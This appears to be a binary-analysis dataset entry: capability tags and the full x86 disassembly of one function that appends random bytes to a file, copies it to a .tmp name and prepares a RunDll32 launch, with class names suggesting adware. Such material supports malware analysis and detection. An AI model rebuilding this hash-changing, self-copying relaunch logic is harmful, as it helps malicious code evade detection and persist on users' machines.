Function at 0x100230d0
Capabilities:
Check for time delay via gettickcount
Copy file
Get file size
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1004d623
mov eax, dword fs:[0]
push eax
sub esp, 0x100
mov eax, dword [0x1005d500]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 4], 0
mov eax, dword [0x10061c90]
mov dword [ebp - 0xf8], eax
lea edx, [ebp - 0xf8]
mov eax, 0x1005fbb4
mov dword [ebp - 0x108], ecx
call fcn.10032740
mov eax, dword [eax]
cmp dword [eax + 0xc], 8
mov dword [ebp - 0xf8], eax
jne 0x10023328
cmp dword [0x10061d3c], 0x10
mov eax, dword [0x10061d28]
jae 0x1002314e
mov eax, 0x10061d28
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp dword [0x10061ba8], 0
mov dword [ebp - 0x100], eax
jne 0x100231a0
push 1
call fcn.10032d50
mov esi, eax
add esp, 4
test esi, esi
je 0x10023199
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.10036f81
add esp, 4
mov eax, esi
jmp 0x1002319b
xor eax, eax
mov dword [0x10061ba8], eax
call fcn.10036f93
cdq
xor eax, edx
sub eax, edx
cdq
mov ecx, 0x1e
idiv ecx
lea esi, [edx + 1]
shl esi, 0xc
push esi
mov dword [ebp - 0x10c], esi
call fcn.10034252
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x10023277
xor edi, edi
cmp edi, esi
jae 0x10023228
cmp dword [0x10061ba8], 0
jne 0x1002320f
push 1
call fcn.10032d50
mov esi, eax
add esp, 4
test esi, esi
je 0x10023201
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.10036f81
add esp, 4
jmp 0x10023203
xor esi, esi
mov dword [0x10061ba8], esi
mov esi, dword [ebp - 0x10c]
call fcn.10036f93
cdq
xor eax, edx
sub eax, edx
cdq
mov ecx, 0xff
idiv ecx
inc edi
mov byte [edi + ebx - 1], dl
jmp 0x100231d3
mov edi, dword [ebp - 0x100]
lea edx, [ebp - 0x104]
push edx
push edi
mov dword [ebp - 0x104], 0
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0
push 0
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [ebp - 0xfc]
push eax
push esi
push ebx
push edi
mov dword [ebp - 0xfc], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call fcn.10034d29
add esp, 4
mov ecx, dword [ebp - 0x100]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x70], 0xf
mov dword [ebp - 0x74], 0
mov byte [ebp - 0x84], 0
push 1
mov eax, 0x100547fc
lea ecx, [ebp - 0x84]
mov byte [ebp - 4], 1
call fcn.10002620
push 0
push 0x10061d28
or eax, 0xffffffff
lea esi, [ebp - 0x84]
call fcn.10002530
mov edx, dword [ebp - 0xf8]
push 0
add edx, 0xe0
push edx
or eax, 0xffffffff
call fcn.10002530
push 1
mov eax, 0x100547fc
mov ecx, esi
call fcn.10002620
mov dword [ebp - 0xfc], vtable.SysService.0
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x84]
mov esi, 0x10
cmp dword [ebp - 0x70], esi
jae 0x1002330d
lea ecx, [ebp - 0x84]
push 1
call fcn.1002fba0
cmp dword [ebp - 0x70], esi
jb 0x10023328
mov eax, dword [ebp - 0x84]
push eax
call fcn.10032d80
add esp, 4
mov dword [ebp - 0xfc], vtable.AdInfoService.0
push 0x10061d0c
mov byte [ebp - 4], 3
mov edx, dword [ebp - 0xf8]
push 0x10061cf0
push 0x10061d44
mov ecx, 0x10061d28
call fcn.1000c340
mov ecx, dword [ebp - 0x108]
mov edx, dword [ecx + 4]
mov eax, dword [edx + 0x1c]
add esp, 0xc
mov dword [ebp - method.SysService.virtual_0], vtable.SysService.0
push eax
lea esi, [ebp - 0xf4]
mov byte [ebp - 4], 4
call fcn.1002fc80
mov dword [ebp - method.FileService.virtual_0], vtable.FileService.0
lea edi, [ebp - 0x30]
mov byte [ebp - 4], 6
call fcn.10020810
push str..tmp
mov eax, edi
push eax
lea ecx, [ebp - 0x68]
push ecx
mov byte [ebp - 4], 7
call fcn.10002410
add esp, 0xc
mov esi, eax
mov edx, edi
mov ebx, 0x10
cmp edx, esi
je 0x1002340c
cmp dword [ebp - 0x1c], ebx
jb 0x100233ca
mov eax, dword [ebp - 0x30]
push eax
call fcn.10032d80
add esp, 4
xor edi, edi
mov dword [ebp - 0x1c], 0xf
mov dword [ebp - 0x20], edi
mov byte [ebp - 0x30], 0
cmp dword [esi + 0x14], ebx
jae 0x100233f3
mov eax, dword [esi + 0x10]
inc eax
push eax
lea ecx, [ebp - 0x30]
push esi
push ecx
call fcn.10034ee0
add esp, 0xc
jmp 0x100233fa
mov edx, dword [esi]
mov dword [ebp - 0x30], edx
mov dword [esi], edi
mov eax, dword [esi + 0x10]
mov dword [ebp - 0x20], eax
mov ecx, dword [esi + 0x14]
mov dword [ebp - 0x1c], ecx
mov dword [esi + 0x10], edi
mov dword [esi + 0x14], edi
mov byte [ebp - 4], 7
cmp dword [ebp - 0x54], ebx
jb 0x10023421
mov edx, dword [ebp - 0x68]
push edx
call fcn.10032d80
add esp, 4
mov ecx, dword [ebp - 0x30]
cmp dword [ebp - 0x1c], ebx
jae 0x1002342c
lea ecx, [ebp - 0x30]
mov eax, dword [ebp - 0xf4]
cmp dword [ebp - 0xe0], ebx
jae 0x10023440
lea eax, [ebp - 0xf4]
push 0
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea eax, [ebp - 0x68]
push 0x100547fc
push eax
lea ebx, [ebp - 0x30]
call fcn.1001dc70
add esp, 8
mov esi, eax
mov ecx, ebx
mov edi, 0x10
cmp ecx, esi
je 0x100234bf
cmp dword [ebp - 0x1c], edi
jb 0x1002347c
mov edx, dword [ebp - 0x30]
push edx
call fcn.10032d80
add esp, 4
xor ebx, ebx
mov dword [ebp - 0x1c], 0xf
mov dword [ebp - 0x20], ebx
mov byte [ebp - 0x30], bl
cmp dword [esi + 0x14], edi
jae 0x100234a4
mov eax, dword [esi + 0x10]
inc eax
push eax
lea eax, [ebp - 0x30]
push esi
push eax
call fcn.10034ee0
add esp, 0xc
jmp 0x100234ab
mov ecx, dword [esi]
mov dword [ebp - 0x30], ecx
mov dword [esi], ebx
mov edx, dword [esi + 0x10]
mov dword [ebp - 0x20], edx
mov eax, dword [esi + 0x14]
mov dword [ebp - 0x1c], eax
mov dword [esi + 0x10], ebx
mov dword [esi + 0x14], ebx
jmp 0x100234c1
xor ebx, ebx
mov byte [ebp - 4], 7
cmp dword [ebp - 0x54], edi
jb 0x100234d6
mov ecx, dword [ebp - 0x68]
push ecx
call fcn.10032d80
add esp, 4
push 0x100547fc
lea edx, [ebp - 0x30]
push edx
lea eax, [ebp - 0x68]
push eax
call fcn.10002410
add esp, 0xc
mov esi, eax
lea ecx, [ebp - 0x30]
cmp ecx, esi
je 0x10023544
cmp dword [ebp - 0x1c], edi
jb 0x10023505
mov edx, dword [ebp - 0x30]
push edx
call fcn.10032d80
add esp, 4
mov dword [ebp - 0x1c], 0xf
mov dword [ebp - 0x20], ebx
mov byte [ebp - 0x30], bl
cmp dword [esi + 0x14], edi
jae 0x1002352b
mov eax, dword [esi + 0x10]
inc eax
push eax
lea eax, [ebp - 0x30]
push esi
push eax
call fcn.10034ee0
add esp, 0xc
jmp 0x10023532
mov ecx, dword [esi]
mov dword [ebp - 0x30], ecx
mov dword [esi], ebx
mov edx, dword [esi + 0x10]
mov dword [ebp - 0x20], edx
mov eax, dword [esi + 0x14]
mov dword [ebp - 0x1c], eax
mov dword [esi + 0x10], ebx
mov dword [esi + 0x14], ebx
cmp dword [ebp - 0x54], edi
jb 0x10023555
mov ecx, dword [ebp - 0x68]
push ecx
call fcn.10032d80
add esp, 4
mov eax, 0xf
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x3c], ebx
mov byte [ebp - 0x4c], bl
mov byte [ebp - 4], 0xb
push 9
push str.RunDll32
lea ecx, [ebp - 0xa0]
mov dword [ebp - 0x8c], eax
mov dword [ebp - 0x90], ebx
mov byte [ebp - 0xa0], bl
call fcn.100028b0
lea eax, [ebp - 0x30]
lea ecx, [ebp - 0xa0]
lea ebx, [ebp - 0x68]
mov byte [ebp - 4], 0xc
call fcn.100024f0
push eax
mov eax, 0x100535b4
lea ecx, [ebp - 0xbc]
mov byte [ebp - 4], 0xd
call fcn.1000b490
add esp, 4
push eax
mov eax, 0x10054808
lea ecx, [ebp - 0xd8]
mov byte [ebp - 4], 0xe
call fcn.1000b490
add esp, 4
mov esi, eax
lea edx, [ebp - 0x4c]
cmp edx, esi
je 0x1002362d
cmp dword [ebp - 0x38], edi
jb 0x100235ea
mov eax, dword [ebp - 0x4c]
push eax
call fcn.10032d80
add esp, 4
xor ebx, ebx
mov dword [ebp - 0x38], 0xf
mov dword [ebp - 0x3c], ebx
mov byte [ebp - 0x4c], bl
cmp dword [esi + 0x14], edi
jae 0x10023612
mov eax, dword [esi + 0x10]
inc eax
push eax
lea ecx, [ebp - 0x4c]
push esi
push ecx
call fcn.10034ee0
add esp, 0xc
jmp 0x10023619
mov edx, dword [esi]
mov dword [ebp - 0x4c], edx
mov dword [esi], ebx
mov eax, dword [esi + 0x10]
mov dword [ebp - 0x3c], eax
mov ecx, dword [esi + 0x14]
mov dword [ebp - 0x38], ecx
mov dword [esi + 0x10], ebx
mov dword [esi + 0x14], ebx
jmp 0x1002362f
xor ebx, ebx
cmp dword [ebp - 0xc4], edi
jb 0x10023646
mov edx, dword [ebp - 0xd8]
push edx
call fcn.10032d80
add esp, 4
mov dword [ebp - 0xc4], 0xf
mov dword [ebp - 0xc8], ebx
mov byte [ebp - 0xd8], bl
cmp dword [ebp - 0xa8], edi
jb 0x10023673
mov eax, dword [ebp - 0xbc]
push eax
call fcn.10032d80
add esp, 4
mov dword [ebp - 0xa8], 0xf
mov dword [ebp - 0xac], ebx
mov byte [ebp - 0xbc], bl
cmp dword [ebp - 0x54], edi
jb 0x1002369a
mov ecx, dword [ebp - 0x68]
push ecx
call fcn.10032d80
add esp, 4
mov byte [ebp - 4], 0xb
mov dword [ebp - 0x54], 0xf
mov dword [ebp - 0x58], ebx
mov byte [ebp - 0x68], bl
cmp dword [ebp - 0x8c], edi
jb 0x100236c2
mov edx, dword [ebp - 0xa0]
push edx
call fcn.10032d80
add esp, 4
mov ecx, dword [ebp - 0x4c]
cmp dword [ebp - 0x38], edi
jae 0x100236cd
lea ecx, [ebp - 0x4c]
push ebx
call fcn.1002fba0
push 0xffffffffffffffff
push ebx
push 0x10061c94
mov ecx, 0x100a1e38
call fcn.10002da0
cmp dword [ebp - 0x38], edi
jb 0x100236f6
mov eax, dword [ebp - 0x4c]
push eax
call fcn.10032d80
add esp, 4
mov esi, 0xf
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x3c], ebx
mov byte [ebp - 0x4c], bl
cmp dword [ebp - 0x1c], edi
jb 0x10023715
mov ecx, dword [ebp - 0x30]
push ecx
call fcn.10032d80
add esp, 4
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x20], ebx
mov byte [ebp - 0x30], bl
cmp dword [ebp - 0xe0], edi
jb 0x10023735
mov edx, dword [ebp - 0xf4]
push edx
call fcn.10032d80
add esp, 4
mov eax, 0x15
jmp 0x10023747
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.10034d1a
mov esp, ebp
pop ebp
ret